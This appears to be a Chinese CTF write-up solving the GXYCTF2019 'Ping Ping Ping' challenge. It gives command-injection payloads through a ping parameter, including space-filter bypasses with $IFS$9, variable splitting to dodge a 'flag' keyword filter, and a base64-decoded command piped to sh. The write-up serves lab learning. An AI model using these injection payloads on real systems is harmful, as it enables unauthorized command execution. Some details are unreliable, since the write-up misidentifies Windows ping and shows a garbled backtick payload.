[GXYCTF2019]Ping Ping Ping

1、 点开题目链接发现是ping一个ip的参数

[GXYCTF2019]Ping Ping Ping_第1张图片

2、 输入/?ip=127.0.0.1尝试,只出现一个响应,说明是Windows的ping命令
[GXYCTF2019]Ping Ping Ping_第2张图片

3、 输入/?ip=127.0.0.1;ls查看当前存在的目录文件夹
[GXYCTF2019]Ping Ping Ping_第3张图片

4、输入命令/?ip=127.0.0.1;cat flag.php查看flag文件,发现fxck your space!(关闭你的空间)
说明存在对空格的过滤
[GXYCTF2019]Ping Ping Ping_第4张图片

5、网上一般的判断空格过滤方法:判断目标网站是对空格进行了过滤,我们可以使用一些方法代替空格来起到分割作用:
注:%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以。但第一个有时会不行。
此时使用/?ip=127.0.0.1;cat$IFS$9flag.php出现不能直接对flag.php文件操作。
[GXYCTF2019]Ping Ping Ping_第5张图片

6、命令:/?ip=127.0.0.1;cat$IFS$9index.php查看第三步出现的index.php的过滤规则,发现对flag字样进行了过滤
[GXYCTF2019]Ping Ping Ping_第6张图片

7、解题思路
(1)创建变量实现字符串拼接:构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配

(2)通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
构造/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash

(3)内联执行(大佬操作)
构造 /?ip=127.0.0.1;cat$IFS$9 ls
在这里插入代码片注:内联,就是将反引号内命令的输出作为输入执行。

8、最后查看网页源代码即可得到flag
(1)得到的结果
[GXYCTF2019]Ping Ping Ping_第7张图片

(2)得到的结果
[GXYCTF2019]Ping Ping Ping_第8张图片

(3)得到的结果
[GXYCTF2019]Ping Ping Ping_第9张图片
9、最后小编陆续为大家更新关于ctf题目的解答,觉得可用的话,点个赞哦!

你可能感兴趣的:(BUUCTF,信息安全,Web安全,php,web安全)